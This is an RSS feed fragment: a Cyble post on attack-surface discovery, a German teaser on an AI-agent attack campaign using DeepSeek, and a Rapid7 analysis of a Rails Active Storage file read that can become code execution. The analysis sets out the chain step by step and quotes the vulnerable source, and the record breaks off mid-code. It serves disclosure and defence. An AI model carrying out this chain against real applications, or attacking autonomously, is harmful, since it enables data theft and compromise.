<content:encoded><![CDATA[<p><img width="1200" height="600" src="https://cyble.com/wp-content/uploads/2026/08/Attack-Surface.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Attack Surface" decoding="async" srcset="https://cyble.com/wp-content/uploads/2026/08/Attack-Surface.webp 1200w, https://cyble.com/wp-content/uploads/2026/08/Attack-Surface-300x150.webp 300w, https://cyble.com/wp-content/uploads/2026/08/Attack-Surface-1024x512.webp 1024w, https://cyble.com/wp-content/uploads/2026/08/Attack-Surface-768x384.webp 768w" sizes="(max-width: 1200px) 100vw, 1200px" title="The Assets You Don't Know You Own: Attack Surface Sprawl Is a Discovery Problem, Not a Tooling Problem 1"></p>
<p><!-- wp:paragraph --></p>
<p>Modern organizations no longer operate within a fixed network perimeter. Cloud services, remote work, third-party integrations, and rapid digital expansion have made the boundary between "inside" and "outside" for the enterprise increasingly difficult to define. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Attackers exploit this ambiguity by scanning continuously for weaknesses across an organization's hardware, software, cloud, and internet-facing assets. The uncomfortable truth security leaders must confront is simple: an organization cannot secure what it does not know it has. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Attack surface expansion is frequently framed as a tooling gap, but the evidence points elsewhere — toward a persistent, structural failure in attack surface discovery, asset discovery, and visibility. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Why Attack Surface Sprawl Happens</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Attack surfaces expand for several identifiable and recurring reasons. Cloud adoption introduces new workloads, storage resources, and services that may be provisioned outside formal IT review processes, creating visibility gaps.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Effective cloud asset discovery has become important as organizations struggle to maintain awareness of resources created across distributed cloud environments. Shadow IT further increases complexity when business units deploy applications, platforms, or services without security teams being aware of their existence, creating additional shadow IT risk. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Multi-cloud environments can fragment visibility across different providers, each with varying configuration standards and security controls. During mergers and acquisitions, organizations often inherit unknown infrastructure and assets from newly integrated entities, making it difficult to establish complete visibility. Forgotten infrastructure, including systems that were intended to be decommissioned but remain accessible online, can continue to create exposure risks. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Third-party services also expand the attack surface by introducing dependencies on vendors, suppliers, and partners whose security weaknesses may impact the organization. In addition, temporary development environments are frequently left active, misconfigured, or unmonitored after their original purpose has ended. As organizations continue adding internet-facing assets at a rapid pace, traditional manual inventory processes struggle to maintain an accurate and complete view of the modern attack surface. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Discovery Is the Real Challenge</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Security tools, firewalls, endpoint detection, vulnerability scanners, and vulnerability management tools can only act on assets that are already registered in an inventory. They cannot protect what has never been identified. This is why NIST's Cybersecurity Framework places asset understanding at the very foundation of its Identify function: organizations must understand their data, hardware, software, systems, facilities, services, people, and supplier relationships before they can prioritize risk. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Traditional asset inventories, built on periodic audits and manual record-keeping, cannot keep pace with environments that change hourly. CISA's own directive on federal network visibility frames this directly, stating that its core focus areas, asset discovery and vulnerability enumeration, are essential building blocks of operational visibility that many organizations still lack. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The visibility gap is not a failure of detection technology; it is a failure to first establish a complete, current record of what exists. Strong IT asset inventory security practices require organizations to continuously identify, classify, and monitor assets across their environments. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong> Why Organizations Lose Sight of Their Digital Assets</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Government agencies and independent research organizations consistently point to the same conclusion: unknown and unmanaged assets represent a significant source of organizational risk. Without a complete understanding of what exists across an environment, security teams cannot accurately assess exposure, prioritize vulnerabilities, or reduce potential attack paths. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>This challenge is reflected in CISA’s approach to asset visibility. CISA’s Binding Operational Directive 23-01 requires federal civilian agencies to maintain continuously updated asset inventories and identify vulnerabilities across discovered systems, emphasizing that comprehensive asset visibility is a necessary foundation for effective vulnerability management.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Similarly, CISA’s Cyber Asset Attack Surface Management (CAASM) resources highlight the importance of understanding and reducing exposure across software, hardware, and network environments, reinforcing the idea that organizations must first identify their assets before they can effectively protect them. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The UK’s National Cyber Security Centre (NCSC) has also emphasized the importance of visibility into modern attack surfaces. NCSC notes that threat actors continuously scan organizations’ hardware, software, services, and cloud assets to identify weaknesses. External attack surface management (EASM) approaches are designed to help defenders achieve comparable visibility into their exposed digital footprint.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>NCSC’s Active Cyber Defence trials further demonstrated that organizations gained security benefits from EASM capabilities beyond vulnerability identification alone, largely because these tools improved awareness of externally exposed assets. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Cyble Research and Intelligence Labs (CRIL) has similarly documented how misconfigured and outdated internet-facing assets continue to expand opportunities for threat actors. Cyble’s research highlights sustained targeting of public-facing infrastructure, including exploitation patterns associated with campaigns such as the MOVEit-linked Clop ransomware attacks, demonstrating how exposed systems can become entry points for large-scale compromises. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The scale of exposed infrastructure further illustrates the challenge organizations face in maintaining visibility. Cyble’s ODIN platform identified more than 660,000 exposed cloud storage buckets and over 91 million exposed hosts, with more than 200 billion files accessible due to cloud misconfigurations. These findings demonstrate the extent to which digital assets can exist outside formal security oversight and create unknown exposure risks. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Cyble’s analysis of the attack surface management landscape also highlights that the discipline emerged in response to the growing need for organizations to discover unknown technology assets. The approach has evolved into complementary areas, including External Attack Surface Management (EASM), which focuses on internet-facing assets, and Cyber Asset Attack Surface Management (CAASM), which provides broader visibility into internal environments.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Together, these capabilities address the central challenge facing modern security teams: gaining an accurate understanding of the assets they need to protect. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Best Practices</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>Guidance from these sources converges on a consistent set of practices: </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Continuous asset discovery</strong> rather than periodic, point-in-time audits. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>External attack surface management</strong> to maintain an attacker's-eye view of internet-facing infrastructure. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Asset inventory validation</strong> against NIST's Identify function categories, including supplier and third-party systems. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Continuous monitoring</strong> for newly exposed services, certificate issues, and configuration drift. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Risk prioritization</strong> is based on exploitability and business impact once assets are known. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Third-party exposure management</strong>, since vendor and supplier assets extend the organizational attack surface. </li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>Conclusion</strong> </h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>The recurring theme across CISA, NIST, NCSC, and Cyble research is not a shortage of security tools; it is a shortage of visibility. Vulnerability scanners, firewalls, and detection platforms are only as effective as the asset inventory feeding them.  </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Organizations that treat discovery as a one-time or occasional exercise will continue to carry unknown, unmanaged, and forgotten assets into every future incident. Reducing organizational risk begins with a foundational discipline: knowing, continuously and comprehensively, what exists. </p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Know what's exposed before an attacker finds it first. <a href="https://cyble.com/external-threat-profile-report/" target="_blank" rel="noreferrer noopener"><strong>Get a Free External Threat Profile →</strong></a></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>References</strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:list {"ordered":true,"start":1} --></p>
<ol start="1" class="wp-block-list"><!-- wp:list-item -->
<li><a href="https://www.cisa.gov/news-events/directives/bod-23-01-improving-asset-visibility-and-vulnerability-detection-federal-networks" target="_blank" rel="noreferrer noopener">https://www.cisa.gov/news-events/directives/bod-23-01-improving-asset-visibility-and-vulnerability-detection-federal-networks</a> </li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><a href="https://www.cisa.gov/resources-tools/services/cyber-asset-attack-surface-management-caasm" target="_blank" rel="noreferrer noopener">https://www.cisa.gov/resources-tools/services/cyber-asset-attack-surface-management-caasm</a> </li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><a href="https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.29.pdf" target="_blank" rel="noreferrer noopener">https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.29.pdf</a> </li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><a href="https://www.ncsc.gov.uk/guidance/external-attack-surface-management-buyers-guide" target="_blank" rel="noreferrer noopener">https://www.ncsc.gov.uk/guidance/external-attack-surface-management-buyers-guide</a> </li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><a href="https://www.ncsc.gov.uk/blog-post/active-cyber-defence-2-insights-easm-trials" target="_blank" rel="noreferrer noopener">https://www.ncsc.gov.uk/blog-post/active-cyber-defence-2-insights-easm-trials</a> </li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><a href="https://cyble.com/knowledge-hub/what-is-external-attack-surface-management/" target="_blank" rel="noreferrer noopener">https://cyble.com/knowledge-hub/what-is-external-attack-surface-management/</a></li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><a href="https://cyble.com/knowledge-hub/third-party-risk-management-attack-surface/" target="_blank" rel="noreferrer noopener">https://cyble.com/knowledge-hub/third-party-risk-management-attack-surface/</a> </li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><a href="https://cyble.com/blog/unmasking-the-critical-risk-of-internet-exposed-assets-to-public-and-private-organizations/" target="_blank" rel="noreferrer noopener">https://cyble.com/blog/unmasking-the-critical-risk-of-internet-exposed-assets-to-public-and-private-organizations/</a> </li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><a href="https://cyble.com/blog/detects-200-billion-files-exposed-in-cloud-buckets/" target="_blank" rel="noreferrer noopener">https://cyble.com/blog/detects-200-billion-files-exposed-in-cloud-buckets/</a> </li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><a href="https://cyble.com/blog/cyble-recognized-in-forresters-attack-surface-management-solutions-landscape-q2-2024-report/" target="_blank" rel="noreferrer noopener">https://cyble.com/blog/cyble-recognized-in-forresters-attack-surface-management-solutions-landscape-q2-2024-report/</a> </li>
<p><!-- /wp:list-item --></p></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:list {"ordered":true,"start":3} --></p>
<ol start="3" class="wp-block-list"></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:list {"ordered":true,"start":4} --></p>
<ol start="4" class="wp-block-list"></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:list {"ordered":true,"start":5} --></p>
<ol start="5" class="wp-block-list"></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:list {"ordered":true,"start":6} --></p>
<ol start="6" class="wp-block-list"></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:list {"ordered":true,"start":7} --></p>
<ol start="7" class="wp-block-list"></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:list {"ordered":true,"start":8} --></p>
<ol start="8" class="wp-block-list"></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:list {"ordered":true,"start":9} --></p>
<ol start="9" class="wp-block-list"></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:list {"ordered":true,"start":10} --></p>
<ol start="10" class="wp-block-list"></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:list {"ordered":true,"start":11} --></p>
<ol start="11" class="wp-block-list"></ol>
<p><!-- /wp:list --></p>
<p>The post <a rel="nofollow" href="https://cyble.com/blog/attack-surface-discovery-asset-visibility/">The Assets You Don’t Know You Own: Attack Surface Sprawl Is a Discovery Problem, Not a Tooling Problem</a> appeared first on <a rel="nofollow" href="https://cyble.com/">Cyble</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[DeepSeek in autonomer Angriffskette: Unit 42 beschreibt Hermes-Agent-Campaign]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine auf KI basierende Angriffskampagne aus China nutzte DeepSeek und das Hermes-Agent-Framework für weitgehend autonome Schritte. Nach Angaben von Unit 42 suchte der Angreifer gezielt nach Schwachstellen und Proof-of-Concepts auf GitHub. Mehrere KI-gestützte Ausnutzungsver...]]></description>
<link>https://tsecurity.de/de/3701309/it-security-nachrichten/deepseek-in-autonomer-angriffskette-unit-42-beschreibt-hermes-agent-campaign/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701309/it-security-nachrichten/deepseek-in-autonomer-angriffskette-unit-42-beschreibt-hermes-agent-campaign/</guid>
<pubDate>Mon, 03 Aug 2026 20:18:55 +0200</pubDate>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-deepseek-hermes-agent-autonome-angriffe.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-deepseek-hermes-agent-autonome-angriffe.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-deepseek-hermes-agent-autonome-angriffe-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-deepseek-hermes-agent-autonome-angriffe-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-deepseek-hermes-agent-autonome-angriffe-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-deepseek-hermes-agent-autonome-angriffe-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/08/ai-deepseek-hermes-agent-autonome-angriffe-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine auf KI basierende Angriffskampagne aus China nutzte DeepSeek und das Hermes-Agent-Framework für weitgehend autonome Schritte. Nach Angaben von Unit 42 suchte der Angreifer gezielt nach Schwachstellen und Proof-of-Concepts auf GitHub. Mehrere KI-gestützte Ausnutzungsversuche scheiterten jedoch an fehlenden Voraussetzungen wie Auto-Login oder erforderlichen Flow-IDs. Gleichzeitig gelangen dem Angreifer manuelle Schritte, darunter […]</p>
<div><a href="https://www.it-boltwise.de/deepseek-in-autonomer-angriffskette-unit-42-beschreibt-hermes-agent-campaign.html">... den vollständigen Artikel <strong>»DeepSeek in autonomer Angriffskette: Unit 42 beschreibt Hermes-Agent-Campaign«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/deepseek-in-autonomer-angriffskette-unit-42-beschreibt-hermes-agent-campaign.html">DeepSeek in autonomer Angriffskette: Unit 42 beschreibt Hermes-Agent-Campaign</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066)]]></title>
<description><![CDATA[OverviewOn July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are < 7.2.3.2, >= 8.0, < 8.0.5.1, and >= 8.1, < ...]]></description>
<link>https://tsecurity.de/de/3701273/it-security-nachrichten/rapid7-analysis-kindarails2shell-cve-2026-66066/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701273/it-security-nachrichten/rapid7-analysis-kindarails2shell-cve-2026-66066/</guid>
<pubDate>Mon, 03 Aug 2026 20:18:47 +0200</pubDate>
<content:encoded><![CDATA[<h2>Overview</h2><p><span>On July 29, 2026, the Ruby on Rails project published a </span><a href="https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm"><span>security advisory</span></a><span> for </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-66066/"><span>CVE-2026-66066</span></a><span>, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are </span><span><span data-type="inlineCode">&lt; 7.2.3.2</span></span><span>, </span><span><span data-type="inlineCode">&gt;= 8.0, &lt; 8.0.5.1</span></span><span>, and </span><span><span data-type="inlineCode">&gt;= 8.1, &lt; 8.1.3.1</span></span><span>. Vips is the default Active Storage variant processor for applications that load Rails 7.0 or later defaults. Rails 6 applications are affected only when they explicitly configure Vips.</span></p><p></p><p><span>Our </span><a href="https://www.rapid7.com/blog/post/etr-kindarails2shell-cve-2026-66066-critical-arbitrary-file-read-and-possible-remote-code-execution-in-ruby-on-rails/"><span>Emergent Threat Response blog</span></a><span> covers the affected versions, mitigation guidance, and current exploitation status. This post traces the request from the direct-upload endpoint to the HDF5 read, then shows how the arbitrary file read can expose Rails signing material and become code execution. </span><span><strong>A vulnerable application can disclose arbitrary files before the attacker has recovered a Rails secret or forged a token.</strong></span><span> A genuine Active Storage </span><span><span data-type="inlineCode">variation_key</span></span><span> from the same application, paired with a direct-upload blob whose stored </span><span><span data-type="inlineCode">content_type</span></span><span> claims to be an image, is enough to reach a libvips loader that turns a crafted MAT/HDF5 file into an arbitrary file-read oracle.</span></p><p></p><p><span>We reproduced the published chain against Rails </span><span><span data-type="inlineCode">6.0.6.1</span></span><span>, </span><span><span data-type="inlineCode">6.1.7.10</span></span><span>, </span><span><span data-type="inlineCode">7.2.3.1</span></span><span>, </span><span><span data-type="inlineCode">8.0.5</span></span><span>, and </span><span><span data-type="inlineCode">8.1.3</span></span><span>, and confirmed that patched </span><span><span data-type="inlineCode">7.2.3.2</span></span><span>, </span><span><span data-type="inlineCode">8.0.5.1</span></span><span>, and </span><span><span data-type="inlineCode">8.1.3.1</span></span><span> targets block the crafted representation. We also validated a remote code execution (RCE) path that uses only JSON-compatible </span><span><span data-type="inlineCode">Hash</span></span><span>, </span><span><span data-type="inlineCode">Array</span></span><span>, and </span><span><span data-type="inlineCode">String</span></span><span> values in a signed variation. That path reaches </span><span><span data-type="inlineCode">Kernel#spawn</span></span><span> or </span><span><span data-type="inlineCode">Kernel#eval</span></span><span> through ImageProcessing's chain builder, and it worked when Rails was configured with </span><span><span data-type="inlineCode">config.active_support.message_serializer = :json</span></span><span>.</span></p><p></p><p><span>The advisory covers the vulnerable Active Storage configuration. The MAT/HDF5 representation chain shown here has narrower requirements. The deployed libvips build must expose </span><span><span data-type="inlineCode">matload</span></span><span> with MAT 7.3/HDF5 support, the application must preserve an attacker-supplied </span><span><span data-type="inlineCode">content_type</span></span><span>, and the attacker must be able to trigger a representation, for example with a genuine variation key. Those requirements narrow where this particular chain works, but the underlying issue is that Active Storage handed untrusted uploads to libvips operations that libvips already marked unsafe for untrusted content.</span></p><p></p><p><span>The attack can be summarized as follows:</span></p><p><span></span></p><pre language="shell-session">[Attacker]
   |
   | 1. Creates a direct-upload blob with content_type = image/png
   v
[Rails stores the blob as an image without examining the bytes]
   |
   | 2. Reuses a genuine variation_key from the same application
   v
[Rails accepts the blob as variable and starts a representation]
   |
   | 3. image_processing hands the local tempfile path to libvips
   v
[libvips matload]
   |
   | 4. Bytes 0-9 match "MATLAB 5.0"
   v
[libmatio]
   |
   | 5. Bytes 124-125 contain MAT_FT_MAT73 (0x0200)
   v
[HDF5 external storage]
   |
   | 6. Dataset bytes come from attacker-chosen path + offset
   v
[Rendered PNG representation]
   |
   --&gt; Target file bytes are returned as image pixels</pre><h2>Analysis</h2><p><span>The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches </span><span><span data-type="inlineCode">matload</span></span><span>, libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125.</span></p><h3><span>Direct upload stores an attacker-controlled type</span></h3><p><span>The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails </span><span><span data-type="inlineCode">8.0.5</span></span><span>, </span><span><span data-type="inlineCode">ActiveStorage::DirectUploadsController#create</span></span><span> accepts </span><span><span data-type="inlineCode">content_type</span></span><span> directly from the request and passes it into </span><span><span data-type="inlineCode">create_before_direct_upload!</span></span><span>:</span></p><p></p><pre language="ruby">class ActiveStorage::DirectUploadsController &lt; ActiveStorage::BaseController
  def create
    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # &lt;-- [1]
    render json: direct_upload_json(blob)
  end

  private
    def blob_args
      params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys # &lt;-- [2]
    end</pre><pre language="ruby">    def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
      metadata = filter_metadata(metadata)
      create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name # &lt;-- [3]
    end</pre><p><span></span></p><p><span>At </span><span><span data-type="inlineCode">[1]</span></span><span> and </span><span><span data-type="inlineCode">[2]</span></span><span>, the endpoint accepts </span><span><span data-type="inlineCode">content_type</span></span><span> from the client. At </span><span><span data-type="inlineCode">[3]</span></span><span>, Active Storage writes that value directly to the blob record. The direct-upload path never runs the server-side </span><span><span data-type="inlineCode">unfurl</span></span><span> flow that would identify the bytes with Marcel. When we uploaded the same crafted file through a normal multipart attachment in the lab, Rails re-identified it as MATLAB data before variant processing, so it did not pass the image gate.</span></p><p></p><p><span>Once the direct-upload blob exists, </span><span><span data-type="inlineCode">Blob#variable?</span></span><span> uses only the stored database value to decide whether the blob can be transformed. On the representation path, no built-in previewer accepts </span><span><span data-type="inlineCode">image/png</span></span><span>, so the blob falls through to </span><span><span data-type="inlineCode">variant</span></span><span>:</span></p><p></p><pre language="ruby">  def variant(transformations)
    if variable?
      variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
    else
      raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
    end
  end

  # Returns true if the variant processor can transform the blob (its content
  # type is in +ActiveStorage.variable_content_types+).
  def variable?
    ActiveStorage.variable_content_types.include?(content_type) # &lt;-- [4]
  end</pre><p></p><p><span>At </span><span><span data-type="inlineCode">[4]</span></span><span>, Rails performs a set-membership check against the stored </span><span><span data-type="inlineCode">content_type</span></span><span>. No file bytes are examined. A crafted MAT/HDF5 object stored as </span><span><span data-type="inlineCode">image/png</span></span><span> reaches the image variant pipeline.</span></p><h3><span>A genuine variation key can be replayed against another blob</span></h3><p><span>The standard representation route accepts a signed blob ID and a signed variation key as separate parameters. Rails resolves them independently:</span></p><p></p><pre language="ruby">module ActiveStorage::SetBlob # :nodoc:
  extend ActiveSupport::Concern

  included do
    before_action :set_blob
  end

  private
    def set_blob
      @blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # &lt;-- [5]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end

    def blob_scope
      ActiveStorage::Blob
    end
end</pre><pre language="ruby">class ActiveStorage::Representations::BaseController &lt; ActiveStorage::BaseController # :nodoc:
  include ActiveStorage::SetBlob

  before_action :set_representation

  private
    def blob_scope
      ActiveStorage::Blob.scope_for_strict_loading
    end

    def set_representation
      @representation = @blob.representation(params[:variation_key]).processed # &lt;-- [6]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end
end</pre><pre language="ruby">    # Returns a Variation instance with the transformations that were encoded by +encode+.
    def decode(key)
      new ActiveStorage.verifier.verify(key, purpose: :variation) # &lt;-- [7]
    end</pre><p></p><p><span>At </span><span><span data-type="inlineCode">[5]</span></span><span>, Rails verifies the blob ID. At </span><span><span data-type="inlineCode">[6]</span></span><span> and </span><span><span data-type="inlineCode">[7]</span></span><span>, it separately verifies the variation key and applies it to that blob. There is no cross-check between the two signed values. An attacker can copy a </span><span><span data-type="inlineCode">variation_key</span></span><span> from any representation URL emitted by the same application and replay it against the signed ID of a newly created direct-upload blob. The file-read stage does not require </span><span><span data-type="inlineCode">secret_key_base</span></span><span>.</span></p><h3><span>The Vips pipeline leaves decoder selection to libvips</span></h3><p><span>Active Storage then hands the tempfile path to image_processing. The </span><span><span data-type="inlineCode">loader(page: 0)</span></span><span> call below can be misleading. It stores options for whichever loader libvips chooses later rather than choosing a loader itself:</span></p><p><span></span></p><pre language="ruby">        def process(file, format:)
          processor.
            source(file).
            loader(page: 0). # &lt;-- [8]
            convert(format).
            apply(operations). # &lt;-- [9]
            call
        end

        def processor
          ImageProcessing.const_get(ActiveStorage.variant_processor.to_s.camelize)
        end

        def operations
          transformations.each_with_object([]) do |(name, argument), list|
            if ActiveStorage.variant_processor == :mini_magick
              validate_transformation(name, argument) # &lt;-- [10]
            end

            if name.to_s == "combine_options"
              raise ArgumentError, &lt;&lt;~ERROR.squish
                Active Storage's ImageProcessing transformer doesn't support :combine_options,
                as it always generates a single command.
              ERROR
            end

            if argument.present?
              list &lt;&lt; [ name, argument ] # &lt;-- [11]
            end
          end
        end</pre><p><span></span></p><p><span>At </span><span><span data-type="inlineCode">[8]</span></span><span>, no decoder has been named yet. At </span><span><span data-type="inlineCode">[9]</span></span><span>, Rails forwards the signed transformation list into image_processing. For RCE, </span><span><span data-type="inlineCode">[10]</span></span><span> and </span><span><span data-type="inlineCode">[11]</span></span><span> matter because </span><span><span data-type="inlineCode">:mini_magick</span></span><span> transformations pass through </span><span><span data-type="inlineCode">validate_transformation</span></span><span>, while Vips transformations do not receive the same method-name validation.</span></p><p></p><p><span>In image_processing </span><span><span data-type="inlineCode">1.14.0</span></span><span>, the path later reaches </span><span><span data-type="inlineCode">Vips::Image.new_from_file</span></span><span>:</span></p><p><span></span></p><pre language="ruby">      def self.load_image(path_or_image, loader: nil, autorot: true, **options)
        if path_or_image.is_a?(::Vips::Image)
          image = path_or_image
        else
          path = path_or_image

          if loader
            image = ::Vips::Image.public_send(:"#{loader}load", path, **options)
          else
            options = Utils.select_valid_loader_options(path, options)
            image = ::Vips::Image.new_from_file(path, **options) # &lt;-- [12]
          end
        end

        image = image.autorot if autorot &amp;&amp; !options.key?(:autorotate)
        image
      end</pre><p></p><p><span>Because </span><span><span data-type="inlineCode">loader:</span></span><span> remains </span><span><span data-type="inlineCode">nil</span></span><span>, </span><span><span data-type="inlineCode">[12]</span></span><span> leaves decoder selection to libvips's file sniffers.</span></p><h3><span>libvips and libmatio disagree about the MAT header</span></h3><p><span>In libvips </span><span><span data-type="inlineCode">8.16.1</span></span><span>, </span><span><span data-type="inlineCode">matload</span></span><span> is marked as untrusted. Vulnerable Active Storage releases did not block untrusted operations before processing attacker-controlled uploads:</span></p><p><span></span></p><pre language="c">static void
vips_foreign_load_mat_class_init(VipsForeignLoadMatClass *class)
{
	/* ... omitted: class initialization ... */

	operation_class-&gt;flags |= VIPS_OPERATION_UNTRUSTED; // &lt;-- [13]

	foreign_class-&gt;suffs = vips__mat_suffs;

	load_class-&gt;is_a = vips__mat_ismat; // &lt;-- [14]</pre><p></p><p><span>The entire libvips MAT sniffer is a ten-byte prefix check:</span></p><p><span></span></p><pre language="c">int
vips__mat_ismat(const char *filename)
{
	unsigned char buf[15];

	if (vips__get_bytes(filename, buf, 10) == 10 &amp;&amp;
		vips_isprefix("MATLAB 5.0", (char *) buf)) // &lt;-- [15]
		return 1;

	return 0;
